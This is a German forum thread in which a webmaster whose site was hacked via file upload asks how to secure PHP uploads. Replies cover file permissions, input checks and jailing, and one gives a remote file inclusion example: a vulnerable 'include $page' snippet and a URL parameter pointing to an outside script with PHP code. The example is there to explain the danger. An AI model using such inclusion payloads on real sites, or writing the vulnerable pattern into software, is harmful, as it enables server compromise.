Fileupload und sicherheit

Guten Morgen!

Einer der Webauftritte, die ich betreue, wurde kürzlich gehackt und der Provider meinte, es läge am Fileupload. Deshalb meine Frage (weil ich mich mit Sicherheit leider gar nicht auskenne): wie kann ich einen Fileupload mit Php sicher machen?

Chi

Guten Morgen!

wie kann ich einen Fileupload mit Php sicher machen?

Gar nicht (SCNR).

Okay: Indem Du diese Funktionalität selbst programmierst und dabei alles doppelt und dreifach checkst. Außerdem packst Du den ganzen Webserver samt PHP in ein BSD-Jail, checkst trotzdem nnochmal die Rechte auf Dateisystemsebene und lässt das nur für authentifizierte Benutzer zu.

Die _übliche_ Variante hingegen sieht so aus, dass irgendwelche Honks, die keine Ahnung von dem Shit haben, sich irgendwelche 1337en PHP-gefrickelten Skripte ohne jegliche Kritik installieren und den Müll dann auch noch in ne Datenbank pumpen. Ja, so kann man sich am leichtesten Fremde ins Haus holen, aber ob das der Sinn der Sache ist?

Gruß,

Malte

Einer der Webauftritte, die ich betreue, wurde kürzlich
gehackt und der Provider meinte, es läge am Fileupload.
Deshalb meine Frage (weil ich mich mit Sicherheit leider gar
nicht auskenne):

ein paar grundlegende dinge fuer den alltagsgebrauch sollen aber schon gelaeufig sein: eingaben pruefen, remote includes ausschliessen, etc.

wie kann ich einen Fileupload mit Php sicher
machen?

du pruefst, wo das script was hinschreiben darf, und welche dateirechte der upload bekommt.
danach pruefst du, ob der aufgetretene angriff sich wiederholen laesst.

ist es denn wie von malte vermutet eine standardsoftware? dann wende dich doch an deren support.

zusaetzlich zu dem bereits gesagten, kannst du auch https://chorizo-scanner.com/ pruefen.

Wie gesagt, ich kenn mich bei sowas nicht so gut aus. Was sind „remote includes“?!

ein paar grundlegende dinge fuer den alltagsgebrauch sollen
aber schon gelaeufig sein: eingaben pruefen, remote includes
ausschliessen, etc.

Kennst du zufällig einen Link wo sowas näher beschrieben wird?
Es handelt sich nicht um Standardsoftware, zumindest glaub ich es eher nicht. Es gibt keine Hinweise darauf. Das Script stammt von meiner Vorgängerin, ich geh stark davon aus, dass sie das selbst geschrieben hat.

du pruefst, wo das script was hinschreiben darf, und welche
dateirechte der upload bekommt.
danach pruefst du, ob der aufgetretene angriff sich
wiederholen laesst.

ist es denn wie von malte vermutet eine standardsoftware? dann
wende dich doch an deren support.

Wie gesagt, ich kenn mich bei sowas nicht so gut aus. Was sind
„remote includes“?!

naja, wenn deine site sinngemaess so funktioniert:

/index.php?page=foo

<?php include $page; ?>

dann kann ich im browser eingeben:
/index.php?page=http://boesesscript.txt

wenn in boesesscript.txt php-code eingebettet ist wird dein script das u.u. ausfuehren.

ein paar grundlegende dinge fuer den alltagsgebrauch sollen
aber schon gelaeufig sein: eingaben pruefen, remote includes
ausschliessen, etc.

Kennst du zufällig einen Link wo sowas näher beschrieben wird?

so gebuendelt nicht, fuer den anfang vielleicht: http://www.php-faq.de/ch/ch-security.html
und http://www.testticker.de/praxis/security/article2006…